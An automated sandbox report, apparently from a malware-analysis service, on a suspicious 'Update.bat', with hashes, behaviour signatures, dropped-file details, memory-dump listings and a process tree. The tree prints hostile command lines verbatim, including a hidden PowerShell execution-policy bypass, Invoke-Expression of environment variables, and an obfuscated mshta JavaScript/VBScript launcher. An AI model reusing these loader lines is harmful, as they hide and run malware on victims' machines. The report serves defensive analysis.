5c3e693c49ddc0ee01d1224d51a5e587c40c91a66915b778fdac6c96ef79dcc8

Analysis

max time kernel
31s
max time network
37s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
10/03/2024, 09:19

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General

Target

Update.bat
Size

15.5MB
MD5

ee5fe0128e083be72419fc0a8b59fdd2
SHA1

ae02a8213603a8a88bf7d444bcd8b3809b09297e
SHA256

5c3e693c49ddc0ee01d1224d51a5e587c40c91a66915b778fdac6c96ef79dcc8
SHA512

64a1b4f6fa63022e04c55dbbd650b03dd97ca20e9b58b4b334cb3fa3ebacd9b1a995c95fcb4338559b127f7f9890996e5d8b6579bac2ba0279085659fb792296
SSDEEP

49152:L1qnp9DsSQ/vBcXvLZwvgTlUtfmxL+iAUvU4dq5Np5ZDpkcVt3h9v8ZKZ53NzDbT:d

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	$sxr-mshta.exe

Executes dropped EXE 3 IoCs

pid	Process
3856	$sxr-mshta.exe
4544	$sxr-cmd.exe
1736	$sxr-powershell.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\$sxr-mshta.exe	powershell.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	powershell.exe
File created	C:\Windows\$sxr-cmd.exe	powershell.exe
File opened for modification	C:\Windows\$sxr-cmd.exe	powershell.exe
File created	C:\Windows\$sxr-powershell.exe	powershell.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	$sxr-mshta.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
1736	$sxr-powershell.exe
1736	$sxr-powershell.exe
1736	$sxr-powershell.exe
1736	$sxr-powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4572	powershell.exe
Token: SeDebugPrivilege	4572	powershell.exe
Token: SeDebugPrivilege	4572	powershell.exe
Token: SeDebugPrivilege	1736	$sxr-powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2396 wrote to memory of 3260	2396	cmd.exe	85
PID 2396 wrote to memory of 3260	2396	cmd.exe	85
PID 2396 wrote to memory of 4572	2396	cmd.exe	86
PID 2396 wrote to memory of 4572	2396	cmd.exe	86
PID 3856 wrote to memory of 4544	3856	$sxr-mshta.exe	95
PID 3856 wrote to memory of 4544	3856	$sxr-mshta.exe	95
PID 4544 wrote to memory of 560	4544	$sxr-cmd.exe	97
PID 4544 wrote to memory of 560	4544	$sxr-cmd.exe	97
PID 4544 wrote to memory of 1736	4544	$sxr-cmd.exe	98
PID 4544 wrote to memory of 1736	4544	$sxr-cmd.exe	98

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Update.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2396
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:qwTiKONkCf; "
  2⤵
  PID:3260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden
  2⤵
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4572

C:\Windows\$sxr-mshta.exe
C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-bdwagIZyqMKABtRmRUfx4312:NgyuLbGt=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3856
- C:\Windows\$sxr-cmd.exe
  "C:\Windows\$sxr-cmd.exe" /c %$sxr-bdwagIZyqMKABtRmRUfx4312:NgyuLbGt=%
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:DCfFQIBSoX; "
    3⤵
    PID:560
- - C:\Windows\$sxr-powershell.exe
    C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
a26df49623eff12a70a93f649776dab7

SHA1
efb53bd0df3ac34bd119adf8788127ad57e53803

SHA256
4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

SHA512
e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yf1os4h0.tkb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\$sxr-cmd.exe

Filesize
68KB

MD5
b53d6daa4af337d814ef3819cd640774

SHA1
f9e7d8da8bac622fe685c7e093993d2cd17e3799

SHA256
6d60db15d04b6d57c07a1a84574ade5eb5ec28ff902ca0f959dc526882da6a49

SHA512
bf05e80866293f989c13d2e64ad5304673bc427a5937134dea0698f5a9686c609145ef5cbea00a0846801e9c3d0593c4532b6ae2964356eafc5bf8f7bb609fe2

Download Submit
C:\Windows\$sxr-cmd.exe

Filesize
283KB

MD5
8a2122e8162dbef04694b9c3e0b6cdee

SHA1
f1efb0fddc156e4c61c5f78a54700e4e7984d55d

SHA256
b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

SHA512
99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

Download Submit
C:\Windows\$sxr-mshta.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

Download Submit
C:\Windows\$sxr-powershell.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
memory/672-114-0x00007FFD5770D000-0x00007FFD5770E000-memory.dmp

Filesize
4KB

Download
memory/672-107-0x00007FFD176F0000-0x00007FFD17700000-memory.dmp

Filesize
64KB

Download
memory/672-109-0x000001772DE30000-0x000001772DE59000-memory.dmp

Filesize
164KB

Download
memory/672-99-0x000001772DE30000-0x000001772DE59000-memory.dmp

Filesize
164KB

Download
memory/672-98-0x000001772DE30000-0x000001772DE59000-memory.dmp

Filesize
164KB

Download
memory/672-97-0x000001772DE00000-0x000001772DE23000-memory.dmp

Filesize
140KB

Download
memory/672-108-0x000001772DE30000-0x000001772DE59000-memory.dmp

Filesize
164KB

Download
memory/696-181-0x00007FFD176F0000-0x00007FFD17700000-memory.dmp

Filesize
64KB

Download
memory/740-139-0x00000213D4110000-0x00000213D4139000-memory.dmp

Filesize
164KB

Download
memory/740-137-0x00007FFD176F0000-0x00007FFD17700000-memory.dmp

Filesize
64KB

Download
memory/740-138-0x00000213D4110000-0x00000213D4139000-memory.dmp

Filesize
164KB

Download
memory/740-128-0x00000213D4110000-0x00000213D4139000-memory.dmp

Filesize
164KB

Download
memory/752-158-0x00007FFD176F0000-0x00007FFD17700000-memory.dmp

Filesize
64KB

Download
memory/752-143-0x0000013BA7350000-0x0000013BA7379000-memory.dmp

Filesize
164KB

Download
memory/952-113-0x000001BF37F20000-0x000001BF37F49000-memory.dmp

Filesize
164KB

Download
memory/952-133-0x00007FFD5770C000-0x00007FFD5770D000-memory.dmp

Filesize
4KB

Download
memory/952-124-0x000001BF37F20000-0x000001BF37F49000-memory.dmp

Filesize
164KB

Download
memory/952-123-0x000001BF37F20000-0x000001BF37F49000-memory.dmp

Filesize
164KB

Download
memory/952-122-0x00007FFD176F0000-0x00007FFD17700000-memory.dmp

Filesize
64KB

Download
memory/1132-194-0x00007FFD176F0000-0x00007FFD17700000-memory.dmp

Filesize
64KB

Download
memory/1144-208-0x00007FFD176F0000-0x00007FFD17700000-memory.dmp

Filesize
64KB

Download
memory/1152-225-0x00007FFD176F0000-0x00007FFD17700000-memory.dmp

Filesize
64KB

Download
memory/1164-237-0x00007FFD176F0000-0x00007FFD17700000-memory.dmp

Filesize
64KB

Download
memory/1736-76-0x00007FFD55A40000-0x00007FFD55AFE000-memory.dmp

Filesize
760KB

Download
memory/1736-94-0x0000000180000000-0x0000000180007000-memory.dmp

Filesize
28KB

Download
memory/1736-236-0x000001E57CD40000-0x000001E57CD50000-memory.dmp

Filesize
64KB

Download
memory/1736-224-0x00007FFD57670000-0x00007FFD57865000-memory.dmp

Filesize
2.0MB

Download
memory/1736-90-0x000001E57CD40000-0x000001E57CD50000-memory.dmp

Filesize
64KB

Download
memory/1736-207-0x00007FFD57670000-0x00007FFD57865000-memory.dmp

Filesize
2.0MB

Download
memory/1736-192-0x00007FFD57670000-0x00007FFD57865000-memory.dmp

Filesize
2.0MB

Download
memory/1736-151-0x000001E57CD40000-0x000001E57CD50000-memory.dmp

Filesize
64KB

Download
memory/1736-149-0x000001E57CD40000-0x000001E57CD50000-memory.dmp

Filesize
64KB

Download
memory/1736-67-0x00007FFD39340000-0x00007FFD39E01000-memory.dmp

Filesize
10.8MB

Download
memory/1736-68-0x000001E57CD40000-0x000001E57CD50000-memory.dmp

Filesize
64KB

Download
memory/1736-69-0x000001E57CD40000-0x000001E57CD50000-memory.dmp

Filesize
64KB

Download
memory/1736-148-0x00007FFD39340000-0x00007FFD39E01000-memory.dmp

Filesize
10.8MB

Download
memory/1736-71-0x000001E520200000-0x000001E5208A6000-memory.dmp

Filesize
6.6MB

Download
memory/1736-89-0x000001E522BF0000-0x000001E522C32000-memory.dmp

Filesize
264KB

Download
memory/1736-73-0x00007FFD57670000-0x00007FFD57865000-memory.dmp

Filesize
2.0MB

Download
memory/1736-74-0x000001E5208B0000-0x000001E520F98000-memory.dmp

Filesize
6.9MB

Download
memory/1736-88-0x000001E522B70000-0x000001E522BDA000-memory.dmp

Filesize
424KB

Download
memory/1736-75-0x00007FFD57670000-0x00007FFD57865000-memory.dmp

Filesize
2.0MB

Download
memory/1736-77-0x00007FFD57670000-0x00007FFD57865000-memory.dmp

Filesize
2.0MB

Download
memory/1736-78-0x00007FFD57670000-0x00007FFD57865000-memory.dmp

Filesize
2.0MB

Download
memory/1736-79-0x000001E5214C0000-0x000001E5214C6000-memory.dmp

Filesize
24KB

Download
memory/1736-80-0x000001E5214D0000-0x000001E5214D6000-memory.dmp

Filesize
24KB

Download
memory/1736-81-0x000001E5215F0000-0x000001E521B3E000-memory.dmp

Filesize
5.3MB

Download
memory/1736-82-0x000001E521B40000-0x000001E5222EE000-memory.dmp

Filesize
7.7MB

Download
memory/1736-84-0x000001E522680000-0x000001E522732000-memory.dmp

Filesize
712KB

Download
memory/1736-83-0x000001E5222F0000-0x000001E52267C000-memory.dmp

Filesize
3.5MB

Download
memory/4572-22-0x0000023A738C0000-0x0000023A739BC000-memory.dmp

Filesize
1008KB

Download
memory/4572-87-0x00007FFD57670000-0x00007FFD57865000-memory.dmp

Filesize
2.0MB

Download
memory/4572-0-0x0000023A69780000-0x0000023A697A2000-memory.dmp

Filesize
136KB

Download
memory/4572-72-0x00007FFD57670000-0x00007FFD57865000-memory.dmp

Filesize
2.0MB

Download
memory/4572-39-0x0000000180000000-0x0000000180007000-memory.dmp

Filesize
28KB

Download
memory/4572-32-0x0000023A746D0000-0x0000023A74782000-memory.dmp

Filesize
712KB

Download
memory/4572-31-0x0000023A73AA0000-0x0000023A746CC000-memory.dmp

Filesize
12.2MB

Download
memory/4572-30-0x0000023A73A60000-0x0000023A73A9E000-memory.dmp

Filesize
248KB

Download
memory/4572-29-0x0000023A69950000-0x0000023A69956000-memory.dmp

Filesize
24KB

Download
memory/4572-27-0x0000023A673C0000-0x0000023A673C6000-memory.dmp

Filesize
24KB

Download
memory/4572-28-0x0000023A69970000-0x0000023A69978000-memory.dmp

Filesize
32KB

Download
memory/4572-25-0x0000023A69C00000-0x0000023A69C5E000-memory.dmp

Filesize
376KB

Download
memory/4572-26-0x0000023A739C0000-0x0000023A73A18000-memory.dmp

Filesize
352KB

Download
memory/4572-24-0x0000023A69960000-0x0000023A69966000-memory.dmp

Filesize
24KB

Download
memory/4572-33-0x0000023A74780000-0x0000023A747B6000-memory.dmp

Filesize
216KB

Download
memory/4572-34-0x0000023A747C0000-0x0000023A74818000-memory.dmp

Filesize
352KB

Download
memory/4572-23-0x0000023A69930000-0x0000023A69952000-memory.dmp

Filesize
136KB

Download
memory/4572-35-0x0000023A74820000-0x0000023A7484E000-memory.dmp

Filesize
184KB

Download
memory/4572-13-0x0000023A69BB0000-0x0000023A69BF4000-memory.dmp

Filesize
272KB

Download
memory/4572-21-0x00007FFD57670000-0x00007FFD57865000-memory.dmp

Filesize
2.0MB

Download
memory/4572-20-0x00007FFD57670000-0x00007FFD57865000-memory.dmp

Filesize
2.0MB

Download
memory/4572-19-0x00007FFD55A40000-0x00007FFD55AFE000-memory.dmp

Filesize
760KB

Download
memory/4572-18-0x00007FFD57670000-0x00007FFD57865000-memory.dmp

Filesize
2.0MB

Download
memory/4572-17-0x0000023A72AD0000-0x0000023A735BC000-memory.dmp

Filesize
10.9MB

Download
memory/4572-16-0x00007FFD57670000-0x00007FFD57865000-memory.dmp

Filesize
2.0MB

Download
memory/4572-15-0x0000023A72020000-0x0000023A72ACC000-memory.dmp

Filesize
10.7MB

Download
memory/4572-14-0x0000023A69C80000-0x0000023A69CF6000-memory.dmp

Filesize
472KB

Download
memory/4572-37-0x00007FFD39340000-0x00007FFD39E01000-memory.dmp

Filesize
10.8MB

Download
memory/4572-86-0x00007FFD39340000-0x00007FFD39E01000-memory.dmp

Filesize
10.8MB

Download
memory/4572-38-0x0000023A69980000-0x0000023A69988000-memory.dmp

Filesize
32KB

Download
memory/4572-12-0x0000023A67660000-0x0000023A67670000-memory.dmp

Filesize
64KB

Download
memory/4572-46-0x00007FFD38AB8000-0x00007FFD38AB9000-memory.dmp

Filesize
4KB

Download
memory/4572-43-0x00007FF712890000-0x00007FF712901000-memory.dmp

Filesize
452KB

Download
memory/4572-11-0x0000023A67660000-0x0000023A67670000-memory.dmp

Filesize
64KB

Download
memory/4572-42-0x0000023A67660000-0x0000023A67670000-memory.dmp

Filesize
64KB

Download
memory/4572-10-0x00007FFD39340000-0x00007FFD39E01000-memory.dmp

Filesize
10.8MB

Download